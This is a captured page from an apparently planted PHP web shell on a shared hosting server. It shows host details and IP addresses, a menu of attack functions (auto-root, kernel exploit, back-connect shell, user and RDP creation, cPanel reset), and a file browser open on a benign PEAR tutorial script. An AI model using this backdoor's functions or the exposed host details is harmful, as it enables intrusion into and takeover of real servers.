Linux host45.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 198.54.116.152 | : 216.73.216.96
Cant Read [ /etc/named.conf ]
8.1.32
bankpromax
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
php55 /
usr /
share /
doc /
pear /
Base /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
repos
[ DIR ]
drwxr-xr-x
CREDITS
229
B
-rw-r--r--
LICENSE
1.53
KB
-rw-r--r--
tutorial.txt
8.59
KB
-rw-r--r--
tutorial_autoload.php
495
B
-rw-r--r--
tutorial_example_01.php
215
B
-rw-r--r--
tutorial_example_02.php
189
B
-rw-r--r--
tutorial_example_03.php
107
B
-rw-r--r--
tutorial_example_04.php
1.39
KB
-rw-r--r--
tutorial_lazy_initialization.p...
914
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tutorial_lazy_initialization.php
<?php require_once 'tutorial_autoload.php'; // Create a custom class implementing the singleton pattern class customSingleton { protected static $instance; public static function getInstance() { if ( self::$instance === null ) { self::$instance = new customSingleton(); ezcBaseInit::fetchConfig( 'customKey', self::$instance ); } return self::$instance; } } // Implement your configuration class class customSingletonConfiguration implements ezcBaseConfigurationInitializer { public static function configureObject( $object ) { echo "Configure customSingleton.\n"; $object->value = 42; } } // Register for lazy initilization ezcBaseInit::setCallback( 'customKey', 'customSingletonConfiguration' ); // Configure on first initilization $object = customSingleton::getInstance(); var_dump( $object->value ); ?>
Close